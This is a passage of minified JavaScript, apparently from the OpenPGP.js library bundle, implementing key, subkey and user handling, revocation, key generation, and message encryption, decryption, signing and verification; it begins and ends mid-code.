e.verify(i,re.signature.certGeneric,n,t,!1,r),!0}catch(e){return!1}})),await $o(e,this,"otherCertifications",t),await $o(e,this,"revocationSignatures",t,(function(e){return Zo(i,re.signature.certRevocation,n,[e],void 0,void 0,t,r)}))}}class ic{constructor(e,t){this.keyPacket=e,this.bindingSignatures=[],this.revocationSignatures=[],this.mainKey=t}toPacketList(){const e=new ho;return e.push(this.keyPacket),e.push(...this.revocationSignatures),e.push(...this.bindingSignatures),e}clone(){const e=new ic(this.keyPacket,this.mainKey);return e.bindingSignatures=[...this.bindingSignatures],e.revocationSignatures=[...this.revocationSignatures],e}async isRevoked(e,t,r=new Date,i=ie){const n=this.mainKey.keyPacket;return Zo(n,re.signature.subkeyRevocation,{key:n,bind:this.keyPacket},this.revocationSignatures,e,t,r,i)}async verify(e=new Date,t=ie){const r=this.mainKey.keyPacket,i={key:r,bind:this.keyPacket},n=await Lo(this.bindingSignatures,r,re.signature.subkeyBinding,i,e,t);if(n.revoked||await this.isRevoked(n,null,e,t))throw Error("Subkey is revoked");if(jo(this.keyPacket,n,e))throw Error("Subkey is expired");return n}async getExpirationTime(e=new Date,t=ie){const r=this.mainKey.keyPacket,i={key:r,bind:this.keyPacket};let n;try{n=await Lo(this.bindingSignatures,r,re.signature.subkeyBinding,i,e,t)}catch(e){return null}const a=Yo(this.keyPacket,n),s=n.getExpirationTime();return a<s?a:s}async update(e,t=new Date,r=ie){const i=this.mainKey.keyPacket;if(!this.hasSameFingerprintAs(e))throw Error("Subkey update method: fingerprints of subkeys not equal");this.keyPacket.constructor.tag===re.packet.publicSubkey&&e.keyPacket.constructor.tag===re.packet.secretSubkey&&(this.keyPacket=e.keyPacket);const n=this,a={key:i,bind:n.keyPacket};await $o(e,this,"bindingSignatures",t,(async function(e){for(let t=0;t<n.bindingSignatures.length;t++)if(n.bindingSignatures[t].issuerKeyID.equals(e.issuerKeyID))return e.created>n.bindingSignatures[t].created&&(n.bindingSignatures[t]=e),!1;try{return await e.verify(i,re.signature.subkeyBinding,a,t,void 0,r),!0}catch(e){return!1}})),await $o(e,this,"revocationSignatures",t,(function(e){return Zo(i,re.signature.subkeyRevocation,a,[e],void 0,void 0,t,r)}))}async revoke(e,{flag:t=re.reasonForRevocation.noReason,string:r=""}={},i=new Date,n=ie){const a={key:e,bind:this.keyPacket},s=new ic(this.keyPacket,this.mainKey);return s.revocationSignatures.push(await Vo(a,null,e,{signatureType:re.signature.subkeyRevocation,reasonForRevocationFlag:re.write(re.reasonForRevocation,t),reasonForRevocationString:r},i,void 0,!1,n)),await s.update(this),s}hasSameFingerprintAs(e){return this.keyPacket.hasSameFingerprintAs(e.keyPacket||e)}}["getKeyID","getFingerprint","getAlgorithmInfo","getCreationTime","isDecrypted"].forEach((e=>{ic.prototype[e]=function(){return this.keyPacket[e]()}}));const nc=/*#__PURE__*/V.constructAllowedPackets([so]);class ac{packetListToStructure(e,t=new Set){let r,i,n;for(const a of e){const e=a.constructor.tag;if(t.has(e))throw Error("Unexpected packet type: "+e);switch(e){case re.packet.publicKey:case re.packet.secretKey:if(this.keyPacket)throw Error("Key block contains multiple keys");if(this.keyPacket=a,i=this.getKeyID(),!i)throw Error("Missing Key ID");break;case re.packet.userID:case re.packet.userAttribute:r=new rc(a,this),this.users.push(r);break;case re.packet.publicSubkey:case re.packet.secretSubkey:r=null,n=new ic(a,this),this.subkeys.push(n);break;case re.packet.signature:switch(a.signatureType){case re.signature.certGeneric:case re.signature.certPersona:case re.signature.certCasual:case re.signature.certPositive:if(!r){V.printDebug("Dropping certification signatures without preceding user packet");continue}a.issuerKeyID.equals(i)?r.selfCertifications.push(a):r.otherCertifications.push(a);break;case re.signature.certRevocation:r?r.revocationSignatures.push(a):this.directSignatures.push(a);break;case re.signature.key:this.directSignatures.push(a);break;case re.signature.subkeyBinding:if(!n){V.printDebug("Dropping subkey binding signature without preceding subkey packet");continue}n.bindingSignatures.push(a);break;case re.signature.keyRevocation:this.revocationSignatures.push(a);break;case re.signature.subkeyRevocation:if(!n){V.printDebug("Dropping subkey revocation signature without preceding subkey packet");continue}n.revocationSignatures.push(a)}}}}toPacketList(){const e=new ho;return e.push(this.keyPacket),e.push(...this.revocationSignatures),e.push(...this.directSignatures),this.users.map((t=>e.push(...t.toPacketList()))),this.subkeys.map((t=>e.push(...t.toPacketList()))),e}clone(e=!1){const t=new this.constructor(this.toPacketList());return e&&t.getKeys().forEach((e=>{if(e.keyPacket=Object.create(Object.getPrototypeOf(e.keyPacket),Object.getOwnPropertyDescriptors(e.keyPacket)),!e.keyPacket.isDecrypted())return;const t={};Object.keys(e.keyPacket.privateParams).forEach((r=>{t[r]=new Uint8Array(e.keyPacket.privateParams[r])})),e.keyPacket.privateParams=t})),t}getSubkeys(e=null){return this.subkeys.filter((t=>!e||t.getKeyID().equals(e,!0)))}getKeys(e=null){const t=[];return e&&!this.getKeyID().equals(e,!0)||t.push(this),t.concat(this.getSubkeys(e))}getKeyIDs(){return this.getKeys().map((e=>e.getKeyID()))}getUserIDs(){return this.users.map((e=>e.userID?e.userID.userID:null)).filter((e=>null!==e))}write(){return this.toPacketList().write()}async getSigningKey(e=null,t=new Date,r={},i=ie){await this.verifyPrimaryKey(t,r,i);const n=this.keyPacket,a=this.subkeys.slice().sort(((e,t)=>t.keyPacket.created-e.keyPacket.created));let s;for(const r of a)if(!e||r.getKeyID().equals(e))try{await r.verify(t,i);const e={key:n,bind:r.keyPacket},a=await Lo(r.bindingSignatures,n,re.signature.subkeyBinding,e,t,i);if(!Qo(r.keyPacket,a))continue;if(!a.embeddedSignature)throw Error("Missing embedded signature");return await Lo([a.embeddedSignature],r.keyPacket,re.signature.keyBinding,e,t,i),tc(r.keyPacket,i),r}catch(e){s=e}try{const a=await this.getPrimaryUser(t,r,i);if((!e||n.getKeyID().equals(e))&&Qo(n,a.selfCertification))return tc(n,i),this}catch(e){s=e}throw V.wrapError("Could not find valid signing key packet in key "+this.getKeyID().toHex(),s)}async getEncryptionKey(e,t=new Date,r={},i=ie){await this.verifyPrimaryKey(t,r,i);const n=this.keyPacket,a=this.subkeys.slice().sort(((e,t)=>t.keyPacket.created-e.keyPacket.created));let s;for(const r of a)if(!e||r.getKeyID().equals(e))try{await r.verify(t,i);const e={key:n,bind:r.keyPacket},a=await Lo(r.bindingSignatures,n,re.signature.subkeyBinding,e,t,i);if(Jo(r.keyPacket,a))return tc(r.keyPacket,i),r}catch(e){s=e}try{const a=await this.getPrimaryUser(t,r,i);if((!e||n.getKeyID().equals(e))&&Jo(n,a.selfCertification))return tc(n,i),this}catch(e){s=e}throw V.wrapError("Could not find valid encryption key packet in key "+this.getKeyID().toHex(),s)}async isRevoked(e,t,r=new Date,i=ie){return Zo(this.keyPacket,re.signature.keyRevocation,{key:this.keyPacket},this.revocationSignatures,e,t,r,i)}async verifyPrimaryKey(e=new Date,t={},r=ie){const i=this.keyPacket;if(await this.isRevoked(null,null,e,r))throw Error("Primary key is revoked");const{selfCertification:n}=await this.getPrimaryUser(e,t,r);if(jo(i,n,e))throw Error("Primary key is expired");const a=await Lo(this.directSignatures,i,re.signature.key,{key:i},e,r).catch((()=>{}));if(a&&jo(i,a,e))throw Error("Primary key is expired")}async getExpirationTime(e,t=ie){let r;try{const{selfCertification:i}=await this.getPrimaryUser(null,e,t),n=Yo(this.keyPacket,i),a=i.getExpirationTime(),s=await Lo(this.directSignatures,this.keyPacket,re.signature.key,{key:this.keyPacket},null,t).catch((()=>{}));if(s){const e=Yo(this.keyPacket,s);r=Math.min(n,a,e)}else r=n<a?n:a}catch(e){r=null}return V.normalizeDate(r)}async getPrimaryUser(e=new Date,t={},r=ie){const i=this.keyPacket,n=[];let a;for(let s=0;s<this.users.length;s++)try{const a=this.users[s];if(!a.userID)continue;if(void 0!==t.name&&a.userID.name!==t.name||void 0!==t.email&&a.userID.email!==t.email||void 0!==t.comment&&a.userID.comment!==t.comment)throw Error("Could not find user that matches that user ID");const o={userID:a.userID,key:i},c=await Lo(a.selfCertifications,i,re.signature.certGeneric,o,e,r);n.push({index:s,user:a,selfCertification:c})}catch(e){a=e}if(!n.length)throw a||Error("Could not find primary user");await Promise.all(n.map((async function(t){return t.user.revoked||t.user.isRevoked(t.selfCertification,null,e,r)})));const s=n.sort((function(e,t){const r=e.selfCertification,i=t.selfCertification;return i.revoked-r.revoked||r.isPrimaryUserID-i.isPrimaryUserID||r.created-i.created})).pop(),{user:o,selfCertification:c}=s;if(c.revoked||await o.isRevoked(c,null,e,r))throw Error("Primary user is revoked");return s}async update(e,t=new Date,r=ie){if(!this.hasSameFingerprintAs(e))throw Error("Primary key fingerprints must be equal to update the key");if(!this.isPrivate()&&e.isPrivate()){if(!(this.subkeys.length===e.subkeys.length&&this.subkeys.every((t=>e.subkeys.some((e=>t.hasSameFingerprintAs(e)))))))throw Error("Cannot update public key with private key if subkeys mismatch");return e.update(this,r)}const i=this.clone();return await $o(e,i,"revocationSignatures",t,(n=>Zo(i.keyPacket,re.signature.keyRevocation,i,[n],null,e.keyPacket,t,r))),await $o(e,i,"directSignatures",t),await Promise.all(e.users.map((async e=>{const n=i.users.filter((t=>e.userID&&e.userID.equals(t.userID)||e.userAttribute&&e.userAttribute.equals(t.userAttribute)));if(n.length>0)await Promise.all(n.map((i=>i.update(e,t,r))));else{const t=e.clone();t.mainKey=i,i.users.push(t)}}))),await Promise.all(e.subkeys.map((async e=>{const n=i.subkeys.filter((t=>t.hasSameFingerprintAs(e)));if(n.length>0)await Promise.all(n.map((i=>i.update(e,t,r))));else{const t=e.clone();t.mainKey=i,i.subkeys.push(t)}}))),i}async getRevocationCertificate(e=new Date,t=ie){const r={key:this.keyPacket},i=await Lo(this.revocationSignatures,this.keyPacket,re.signature.keyRevocation,r,e,t),n=new ho;return n.push(i),fe(re.armor.publicKey,n.write(),null,null,"This is a revocation certificate")}async applyRevocationCertificate(e,t=new Date,r=ie){const i=await de(e,r),n=(await ho.fromBinary(i.data,nc,r)).findPacket(re.packet.signature);if(!n||n.signatureType!==re.signature.keyRevocation)throw Error("Could not find revocation signature packet");if(!n.issuerKeyID.equals(this.getKeyID()))throw Error("Revocation signature does not match key");try{await n.verify(this.keyPacket,re.signature.keyRevocation,{key:this.keyPacket},t,void 0,r)}catch(e){throw V.wrapError("Could not verify revocation signature",e)}const a=this.clone();return a.revocationSignatures.push(n),a}async signPrimaryUser(e,t,r,i=ie){const{index:n,user:a}=await this.getPrimaryUser(t,r,i),s=await a.certify(e,t,i),o=this.clone();return o.users[n]=s,o}async signAllUsers(e,t=new Date,r=ie){const i=this.clone();return i.users=await Promise.all(this.users.map((function(i){return i.certify(e,t,r)}))),i}async verifyPrimaryUser(e,t=new Date,r,i=ie){const n=this.keyPacket,{user:a}=await this.getPrimaryUser(t,r,i);return e?await a.verifyAllCertifications(e,t,i):[{keyID:n.getKeyID(),valid:await a.verify(t,i).catch((()=>!1))}]}async verifyAllUsers(e,t=new Date,r=ie){const i=this.keyPacket,n=[];return await Promise.all(this.users.map((async a=>{const s=e?await a.verifyAllCertifications(e,t,r):[{keyID:i.getKeyID(),valid:await a.verify(t,r).catch((()=>!1))}];n.push(...s.map((e=>({userID:a.userID.userID,keyID:e.keyID,valid:e.valid}))))}))),n}}function sc(e){for(const t of e)switch(t.constructor.tag){case re.packet.secretKey:return new cc(e);case re.packet.publicKey:return new oc(e)}throw Error("No key packet found")}["getKeyID","getFingerprint","getAlgorithmInfo","getCreationTime","hasSameFingerprintAs"].forEach((e=>{ac.prototype[e]=ic.prototype[e]}));class oc extends ac{constructor(e){if(super(),this.keyPacket=null,this.revocationSignatures=[],this.directSignatures=[],this.users=[],this.subkeys=[],e&&(this.packetListToStructure(e,new Set([re.packet.secretKey,re.packet.secretSubkey])),!this.keyPacket))throw Error("Invalid key: missing public-key packet")}isPrivate(){return!1}toPublic(){return this}armor(e=ie){return fe(re.armor.publicKey,this.toPacketList().write(),void 0,void 0,void 0,e)}}class cc extends oc{constructor(e){if(super(),this.packetListToStructure(e,new Set([re.packet.publicKey,re.packet.publicSubkey])),!this.keyPacket)throw Error("Invalid key: missing private-key packet")}isPrivate(){return!0}toPublic(){const e=new ho,t=this.toPacketList();for(const r of t)switch(r.constructor.tag){case re.packet.secretKey:{const t=Mo.fromSecretKeyPacket(r);e.push(t);break}case re.packet.secretSubkey:{const t=Do.fromSecretSubkeyPacket(r);e.push(t);break}default:e.push(r)}return new oc(e)}armor(e=ie){return fe(re.armor.privateKey,this.toPacketList().write(),void 0,void 0,void 0,e)}async getDecryptionKeys(e,t=new Date,r={},i=ie){const n=this.keyPacket,a=[];for(let r=0;r<this.subkeys.length;r++)if(!e||this.subkeys[r].getKeyID().equals(e,!0))try{const e={key:n,bind:this.subkeys[r].keyPacket};ec(await Lo(this.subkeys[r].bindingSignatures,n,re.signature.subkeyBinding,e,t,i),i)&&a.push(this.subkeys[r])}catch(e){}const s=await this.getPrimaryUser(t,r,i);return e&&!n.getKeyID().equals(e,!0)||!ec(s.selfCertification,i)||a.push(this),a}isDecrypted(){return this.getKeys().some((({keyPacket:e})=>e.isDecrypted()))}async validate(e=ie){if(!this.isPrivate())throw Error("Cannot validate a public key");let t;if(this.keyPacket.isDummy()){const r=await this.getSigningKey(null,null,void 0,{...e,rejectPublicKeyAlgorithms:new Set,minRSABits:0});r&&!r.keyPacket.isDummy()&&(t=r.keyPacket)}else t=this.keyPacket;if(t)return t.validate();{const e=this.getKeys();if(e.map((e=>e.keyPacket.isDummy())).every(Boolean))throw Error("Cannot validate an all-gnu-dummy key");return Promise.all(e.map((async e=>e.keyPacket.validate())))}}clearPrivateParams(){this.getKeys().forEach((({keyPacket:e})=>{e.isDecrypted()&&e.clearPrivateParams()}))}async revoke({flag:e=re.reasonForRevocation.noReason,string:t=""}={},r=new Date,i=ie){if(!this.isPrivate())throw Error("Need private key for revoking");const n={key:this.keyPacket},a=this.clone();return a.revocationSignatures.push(await Vo(n,null,this.keyPacket,{signatureType:re.signature.keyRevocation,reasonForRevocationFlag:re.write(re.reasonForRevocation,e),reasonForRevocationString:t},r,void 0,void 0,i)),a}async addSubkey(e={}){const t={...ie,...e.config};if(e.passphrase)throw Error("Subkey could not be encrypted here, please encrypt whole key");if(e.rsaBits<t.minRSABits)throw Error(`rsaBits should be at least ${t.minRSABits}, got: ${e.rsaBits}`);const r=this.keyPacket;if(r.isDummy())throw Error("Cannot add subkey to gnu-dummy primary key");if(!r.isDecrypted())throw Error("Key is not decrypted");const i=r.getAlgorithmInfo();i.type=i.curve?"ecc":"rsa",i.rsaBits=i.bits||4096,i.curve=i.curve||"curve25519",e=Xo(e,i);const n=await Fo(e),a=await Wo(n,r,e,t),s=this.toPacketList();return s.push(n,a),new cc(s)}}const uc=/*#__PURE__*/V.constructAllowedPackets([Mo,Do,Io,zo,To,Ro,so]);async function hc(e,t,r,i){r.passphrase&&await e.encrypt(r.passphrase,i),await Promise.all(t.map((async function(e,t){const n=r.subkeys[t].passphrase;n&&await e.encrypt(n,i)})));const n=new ho;n.push(e),await Promise.all(r.userIDs.map((async function(t,n){function a(e,t){return[t,...e.filter((e=>e!==t))]}const s=To.fromObject(t),o={};o.userID=s,o.key=e;const c=new so;return c.signatureType=re.signature.certGeneric,c.publicKeyAlgorithm=e.algorithm,c.hashAlgorithm=await Ho(null,e,void 0,void 0,i),c.keyFlags=[re.keyFlags.certifyKeys|re.keyFlags.signData],c.preferredSymmetricAlgorithms=a([re.symmetric.aes256,re.symmetric.aes128,re.symmetric.aes192],i.preferredSymmetricAlgorithm),i.aeadProtect&&(c.preferredAEADAlgorithms=a([re.aead.eax,re.aead.ocb],i.preferredAEADAlgorithm)),c.preferredHashAlgorithms=a([re.hash.sha256,re.hash.sha512],i.preferredHashAlgorithm),c.preferredCompressionAlgorithms=a([re.compression.zlib,re.compression.zip,re.compression.uncompressed],i.preferredCompressionAlgorithm),0===n&&(c.isPrimaryUserID=!0),c.features=[0],c.features[0]|=re.features.modificationDetection,i.aeadProtect&&(c.features[0]|=re.features.aead),i.v5Keys&&(c.features[0]|=re.features.v5Keys),r.keyExpirationTime>0&&(c.keyExpirationTime=r.keyExpirationTime,c.keyNeverExpires=!1),await c.sign(e,o,r.date),{userIDPacket:s,signaturePacket:c}}))).then((e=>{e.forEach((({userIDPacket:e,signaturePacket:t})=>{n.push(e),n.push(t)}))})),await Promise.all(t.map((async function(t,n){const a=r.subkeys[n];return{secretSubkeyPacket:t,subkeySignaturePacket:await Wo(t,e,a,i)}}))).then((e=>{e.forEach((({secretSubkeyPacket:e,subkeySignaturePacket:t})=>{n.push(e),n.push(t)}))}));const a={key:e};return n.push(await Vo(a,null,e,{signatureType:re.signature.keyRevocation,reasonForRevocationFlag:re.reasonForRevocation.noReason,reasonForRevocationString:""},r.date,void 0,void 0,i)),r.passphrase&&e.clearPrivateParams(),await Promise.all(t.map((async function(e,t){r.subkeys[t].passphrase&&e.clearPrivateParams()}))),new cc(n)}const dc=/*#__PURE__*/V.constructAllowedPackets([Zs,lo,So,ko,Ko,Eo,xo,co,so]),fc=/*#__PURE__*/V.constructAllowedPackets([xo]),lc=/*#__PURE__*/V.constructAllowedPackets([so]);class pc{constructor(e){this.packets=e||new ho}getEncryptionKeyIDs(){const e=[];return this.packets.filterByTag(re.packet.publicKeyEncryptedSessionKey).forEach((function(t){e.push(t.publicKeyID)})),e}getSigningKeyIDs(){const e=this.unwrapCompressed(),t=e.packets.filterByTag(re.packet.onePassSignature);if(t.length>0)return t.map((e=>e.issuerKeyID));return e.packets.filterByTag(re.packet.signature).map((e=>e.issuerKeyID))}async decrypt(e,t,r,i=new Date,n=ie){const a=r||await this.decryptSessionKeys(e,t,i,n),s=this.packets.filterByTag(re.packet.symmetricallyEncryptedData,re.packet.symEncryptedIntegrityProtectedData,re.packet.aeadEncryptedData);if(0===s.length)return this;const o=s[0];let c=null;const u=Promise.all(a.map((async e=>{if(!e||!V.isUint8Array(e.data)||!V.isString(e.algorithm))throw Error("Invalid session key for decryption.");try{await o.decrypt(e.algorithm,e.data,n)}catch(e){V.printDebugError(e),c=e}})));if(j(o.encrypted),o.encrypted=null,await u,!o.packets||!o.packets.length)throw c||Error("Decryption failed.");const h=new pc(o.packets);return o.packets=new ho,h}async decryptSessionKeys(e,t,r=new Date,i=ie){let n,a=[];if(t){const e=this.packets.filterByTag(re.packet.symEncryptedSessionKey);if(0===e.length)throw Error("No symmetrically encrypted session key packet found.");await Promise.all(t.map((async function(t,r){let n;n=r?await ho.fromBinary(e.write(),fc,i):e,await Promise.all(n.map((async function(e){try{await e.decrypt(t),a.push(e)}catch(e){V.printDebugError(e)}})))})))}else{if(!e)throw Error("No key or password specified.");{const t=this.packets.filterByTag(re.packet.publicKeyEncryptedSessionKey);if(0===t.length)throw Error("No public key encrypted session key packet found.");await Promise.all(t.map((async function(t){await Promise.all(e.map((async function(e){let s=[re.symmetric.aes256,re.symmetric.aes128,re.symmetric.tripledes,re.symmetric.cast5];try{const t=await e.getPrimaryUser(r,void 0,i);t.selfCertification.preferredSymmetricAlgorithms&&(s=s.concat(t.selfCertification.preferredSymmetricAlgorithms))}catch(e){}const o=(await e.getDecryptionKeys(t.publicKeyID,null,void 0,i)).map((e=>e.keyPacket));await Promise.all(o.map((async function(e){if(e&&!e.isDummy()){if(!e.isDecrypted())throw Error("Decryption key is not decrypted.");try{if(await t.decrypt(e),!s.includes(re.write(re.symmetric,t.sessionKeyAlgorithm)))throw Error("A non-preferred symmetric algorithm was used.");a.push(t)}catch(e){V.printDebugError(e),n=e}}})))}))),j(t.encrypted),t.encrypted=null})))}}if(a.length){if(a.length>1){const e=new Set;a=a.filter((t=>{const r=t.sessionKeyAlgorithm+V.uint8ArrayToString(t.sessionKey);return!e.has(r)&&(e.add(r),!0)}))}return a.map((e=>({data:e.sessionKey,algorithm:e.sessionKeyAlgorithm})))}throw n||Error("Session key decryption failed.")}getLiteralData(){const e=this.unwrapCompressed().packets.findPacket(re.packet.literalData);return e&&e.getBytes()||null}getFilename(){const e=this.unwrapCompressed().packets.findPacket(re.packet.literalData);return e&&e.getFilename()||null}getText(){const e=this.unwrapCompressed().packets.findPacket(re.packet.literalData);return e?e.getText():null}static async generateSessionKey(e=[],t=new Date,r=[],i=ie){const n=re.read(re.symmetric,await Go("symmetric",e,t,r,i)),a=i.aeadProtect&&await async function(e,t=new Date,r=[],i=ie){let n=!0;return await Promise.all(e.map((async function(e,a){const s=await e.getPrimaryUser(t,r[a],i);s.selfCertification.features&&s.selfCertification.features[0]&re.features.aead||(n=!1)}))),n}(e,t,r,i)?re.read(re.aead,await Go("aead",e,t,r,i)):void 0;return{data:await On.generateSessionKey(n),algorithm:n,aeadAlgorithm:a}}async encrypt(e,t,r,i=!1,n=[],a=new Date,s=[],o=ie){if(r){if(!V.isUint8Array(r.data)||!V.isString(r.algorithm))throw Error("Invalid session key for encryption.")}else if(e&&e.length)r=await pc.generateSessionKey(e,a,s,o);else{if(!t||!t.length)throw Error("No keys, passwords, or session key provided.");r=await pc.generateSessionKey(void 0,void 0,void 0,o)}const{data:c,algorithm:u,aeadAlgorithm:h}=r,d=await pc.encryptSessionKey(c,u,h,e,t,i,n,a,s,o);let f;return h?(f=new So,f.aeadAlgorithm=h):f=new ko,f.packets=this.packets,await f.encrypt(u,c,o),d.packets.push(f),f.packets=new ho,d}static async encryptSessionKey(e,t,r,i,n,a=!1,s=[],o=new Date,c=[],u=ie){const h=new ho;if(i){const r=await Promise.all(i.map((async function(r,i){const n=await r.getEncryptionKey(s[i],o,c,u),h=new Eo;return h.publicKeyID=a?le.wildcard():n.getKeyID(),h.publicKeyAlgorithm=n.keyPacket.algorithm,h.sessionKey=e,h.sessionKeyAlgorithm=t,await h.encrypt(n.keyPacket),delete h.sessionKey,h})));h.push(...r)}if(n){const i=async function(e,t){try{return await e.decrypt(t),1}catch(e){return 0}},a=(e,t)=>e+t,s=async function(e,t,r,o){const c=new xo(u);if(c.sessionKey=e,c.sessionKeyAlgorithm=t,r&&(c.aeadAlgorithm=r),await c.encrypt(o,u),u.passwordCollisionCheck){if(1!==(await Promise.all(n.map((e=>i(c,e))))).reduce(a))return s(e,t,o)}return delete c.sessionKey,c},o=await Promise.all(n.map((i=>s(e,t,r,i))));h.push(...o)}return new pc(h)}async sign(e=[],t=null,r=[],i=new Date,n=[],a=ie){const s=new ho,o=this.packets.findPacket(re.packet.literalData);if(!o)throw Error("No literal data packet to sign.");let c,u;const h=null===o.text?re.signature.binary:re.signature.text;if(t)for(u=t.packets.filterByTag(re.packet.signature),c=u.length-1;c>=0;c--){const t=u[c],r=new co;r.signatureType=t.signatureType,r.hashAlgorithm=t.hashAlgorithm,r.publicKeyAlgorithm=t.publicKeyAlgorithm,r.issuerKeyID=t.issuerKeyID,e.length||0!==c||(r.flags=1),s.push(r)}return await Promise.all(Array.from(e).reverse().map((async function(t,s){if(!t.isPrivate())throw Error("Need private key for signing");const o=r[e.length-1-s],c=await t.getSigningKey(o,i,n,a),u=new co;return u.signatureType=h,u.hashAlgorithm=await Ho(t,c.keyPacket,i,n,a),u.publicKeyAlgorithm=c.keyPacket.algorithm,u.issuerKeyID=c.getKeyID(),s===e.length-1&&(u.flags=1),u}))).then((e=>{e.forEach((e=>s.push(e)))})),s.push(o),s.push(...await yc(o,e,t,r,i,n,!1,a)),new pc(s)}compress(e,t=ie){if(e===re.compression.uncompressed)return this;const r=new lo(t);r.algorithm=re.read(re.compression,e),r.packets=this.packets;const i=new ho;return i.push(r),new pc(i)}async signDetached(e=[],t=null,r=[],i=new Date,n=[],a=ie){const s=this.packets.findPacket(re.packet.literalData);if(!s)throw Error("No literal data packet to sign.");return new Oo(await yc(s,e,t,r,i,n,!0,a))}async verify(e,t=new Date,r=ie){const i=this.unwrapCompressed(),n=i.packets.filterByTag(re.packet.literalData);if(1!==n.length)throw Error("Can only verify message with one literal data packet.");s(i.packets.stream)&&i.packets.push(...await L(i.packets.stream,(e=>e||[])));const a=i.packets.filterByTag(re.packet.onePassSignature).reverse(),o=i.packets.filterByTag(re.packet.signature);return a.length&&!o.length&&V.isStream(i.packets.stream)&&!s(i.packets.stream)?(await Promise.all(a.map((async e=>{e.correspondingSig=new Promise(((t,r)=>{e.correspondingSigResolve=t,e.correspondingSigReject=r})),e.signatureData=W((async()=>(await e.correspondingSig).signatureData)),e.hashed=L(await e.hash(e.signatureType,n[0],void 0,!1)),e.hashed.catch((()=>{}))}))),i.packets.stream=T(i.packets.stream,(async(e,t)=>{const r=K(e),i=D(t);try{for(let e=0;e<a.length;e++){const{value:t}=await r.read();a[e].correspondingSigResolve(t)}await r.readToEnd(),await i.ready,await i.close()}catch(e){a.forEach((t=>{t.correspondingSigReject(e)})),await i.abort(e)}})),bc(a,n,e,t,!1,r)):bc(o,n,e,t,!1,r)}verifyDetached(e,t,r=new Date,i=ie){const n=this.unwrapCompressed().packets.filterByTag(re.packet.literalData);if(1!==n.length)throw Error("Can only verify message with one literal data packet.");return bc(e.packets,n,t,r,!0,i)}unwrapCompressed(){const e=this.packets.filterByTag(re.packet.compressedData);return e.length?new pc(e[0].packets):this}async appendSignature(e,t=ie){await this.packets.read(V.isUint8Array(e)?e:(await de(e)).data,lc,t)}write(){return this.packets.write()}armor(e=ie){return fe(re.armor.message,this.write(),null,null,null,e)}}async function yc(e,t,r=null,i=[],n=new Date,a=[],s=!1,o=ie){const c=new ho,u=null===e.text?re.signature.binary:re.signature.text;if(await Promise.all(t.map((async(t,r)=>{const c=a[r];if(!t.isPrivate())throw Error("Need private key for signing");const h=await t.getSigningKey(i[r],n,c,o);return Vo(e,t,h.keyPacket,{signatureType:u},n,c,s,o)}))).then((e=>{c.push(...e)})),r){const e=r.packets.filterByTag(re.packet.signature);c.push(...e)}return c}async function bc(e,t,r,i=new Date,n=!1,a=ie){return Promise.all(e.filter((function(e){return["text","binary"].includes(re.read(re.signature,e.signatureType))})).map((async function(e){return async function(e,t,r,i=new Date,n=!1,a=ie){let s,o;for(const t of r){const r=t.getKeys(e.issuerKeyID);if(r.length>0){s=t,o=r[0];break}}const c=e instanceof co?e.correspondingSig:e,u={keyID:e.issuerKeyID,verified:(async()=>{if(!o)throw Error("Could not find signing key with key ID "+e.issuerKeyID.toHex());await e.verify(o.keyPacket,e.signatureType,t[0],i,n,a);const r=await c;if(o.getCreationTime()>r.created)throw Error("Key is newer than the signature");return await s.getSigningKey(o.getKeyID(),r.created,void 0,a),!0})(),signature:(async()=>{const e=await c,t=new ho;return e&&t.push(e),new Oo(t)})()};return u.signature.catch((()=>{})),u.verified.catch((()=>{})),u}(e,t,r,i,n,a)})))}const mc=/*#__PURE__*/V.constructAllowedPackets([so]);class gc{constructor(e,t){if(this.text=V.removeTrailingSpaces(e).replace(/\r?\n/g,"\r\n"),t&&!(t instanceof Oo))throw Error("Invalid signature input");this.signature=t||new Oo(new ho)}getSigningKeyIDs(){const e=[];return this.signature.packets.forEach((function(t){e.push(t.issuerKeyID)})),e}async sign(e,t=null,r=[],i=new Date,n=[],a=ie){const s=new Zs;s.setText(this.text);const o=new Oo(await yc(s,e,t,r,i,n,!0,a));return new gc(this.text,o)}verify(e,t=new Date,r=ie){const i=this.signature.packets,n=new Zs;return n.setText(this.text),bc(i,[n],e,t,!0,r)}getText(){return this.text.replace(/\r\n/g,"\n")}armor(e=ie){let t=this.signature.packets.map((function(e){return re.read(re.hash,e.hashAlgorithm).toUpperCase()}));t=t.filter((function(e,t,r){return r.indexOf(e)===t}));const r={hash:t.join(),text:this.text,data:this.signature.packets.write()};return fe(re.armor.signed,r,void 0,void 0,void 0,e)}}function wc(e){if(!(e instanceof pc))throw Error("Parameter [message] needs to be of type Message")}function vc(e){if(!(e instanceof gc||e instanceof pc))throw Error("Parameter [message] needs to be of type Message or CleartextMessage")}function _c(e){if("armored"!==e&&"binary"!==e&&"object"!==e)throw Error("Unsupported format "+e)}const kc=Object.keys(ie).length;function Ac(e){const t=Object.keys(e);if(t.length!==kc)for(const e of t)if(void 0===ie[e])throw Error("Unknown config property: "+e)}function Sc(e){return e&&!V.isArray(e)&&(e=[e]),e}async function Ec(e,t,r="utf8"){const i=V.isStream(e);return"array"===i?L(e):"node"===t?(e=b(e),"binary"!==r&&e.setEncoding(r),e):"web"===t&&"ponyfill"===i?_(e):e}function Pc(e,t){e.data=T(t.packets.stream,(async(t,r)=>{await R(e.data,r,{preventClose:!0});const i=D(r);try{await L(t,(e=>e)),await i.close()}catch(e){await i.abort(e)}}))}function xc(e,t,r){switch(t){case"object":return e;case"armored":return e.armor(r);case"binary":return e.write();default:throw Error("Unsupported format "+t)}}const Mc="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?Symbol:e=>`Symbol(${e})`;function Cc(){}const Kc="undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:void 0;function Dc(e){return"object"==typeof e&&null!==e||"function"==typeof e}const Rc=Cc,Ic=Promise,Uc=Promise.prototype.then,Bc=Promise.resolve.bind(Ic),Tc=Promise.reject.bind(Ic);function zc(e){return new Ic(e)}function qc(e){return Bc(e)}function Oc(e){return Tc(e)}function Fc(e,t,r){return Uc.call(e,t,r)}function Nc(e,t,r){Fc(Fc(e,t,r),void 0,Rc)}function Lc(e,t){Nc(e,t)}function jc(e,t){Nc(e,void 0,t)}function Wc(e,t,r){return Fc(e,t,r)}function Hc(e){Fc(e,void 0,Rc)}const Gc=(()=>{const e=Kc&&Kc.queueMicrotask;if("function"==typeof e)return e;const t=qc(void 0);return e=>Fc(t,e)})();function Vc(e,t,r){if("function"!=typeof e)throw new TypeError("Argument is not a function");return Function.prototype.apply.call(e,t,r)}function $c(e,t,r){try{return qc(Vc(e,t,r))}catch(e){return Oc(e)}}class 